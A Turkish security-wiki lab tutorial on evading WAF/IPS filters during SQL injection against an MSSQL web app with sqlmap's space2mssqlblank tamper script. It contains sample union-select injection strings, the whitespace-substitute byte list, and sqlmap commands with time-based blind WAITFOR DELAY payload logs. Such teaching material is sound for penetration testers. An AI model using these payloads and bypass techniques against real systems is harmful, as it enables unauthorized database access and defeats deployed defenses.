SQL Injection Saldırılarında Tamper Script Kullanarak IPS Atlatma

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

SQL enjeksiyonu zafiyeti barındıran ve güvenlik cihazları tarafından korunan sistemlerin sqlmap tamper script kullanılarak istismar edilmesi.

Lab Senaryosu:

Veritabanı olarak olarak MSSQL sunucu kullanan ve önünde WAF/IPS cihazı bulunan bir web uygulamasındaki SQL injection açıklığı, sqlmap tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir.

Birçok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide bulmak için boşluk karakteri referans alınır. Örneğin “union” ve “select” kelimelerini sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir.

Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı bir girdiyi aşağıdaki gibi bloklar;

admin';union select null,null,ad from users--

Fakat boşluk karakteri yerine rastgele bir ifade (AA) yazarsak, aşağıdaki gibi bu SQL sorgusu IPS cihazına takılmayacaktır;

admin;'unionAAselectAAnull,null,adAAfromAAusers--

Not: AA test amaçlı verilmiştir. Backend dbms üzerinde çalışacak bir ifade degildir. AA yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir.

Şimdi bu durumu veritabanı olarak MSSQL sunucu kullanan ve önünde IPS cihazı bulunan bir web uygulamasındaki SQL injection açıklığını istismar etmede nasıl kullanılabileceğine değinelim.

MSSQL üzerinde boşluk karakterine alternatif olabilecek ifadeleri bir diziye atarak her seferinde bu diziden rastgele bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen “space2mssqlblank.py” sqlmap tamper scriptini kullanacağız.

MSSQL üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;

%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F

Bu değerler bir dizi içerisinde tutulup her SQL sorgusu içerisindeki boşluk değerlerine rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla atlatılabilmektedir.

IPS sistemi ile korunan bir web uygulamasındaki SQL injection açıklığını sqlmap ile istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir;

 root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T -v 3
...
...
[22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'--
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY '0:0:5'--
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'--
[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter 'username' is not injectable
...
...

Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS tarafından geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek bir açıklık olarak değerlendirmiştir.

Şimdi ise boşluk karakterleri yerine MSSQL sunucudaki alternatif değerlerini rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim;

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 --flush-session

[22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:58:00] [PAYLOAD] admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'--
[22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'--
[22:58:07] [PAYLOAD] admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'-- 
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin MSSQL sunucudaki alternatif değerleri rastgele olarak verilerek IPS cihazı atlatılmıştır. Birçok WAF/IPS imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla atlatılabilirler.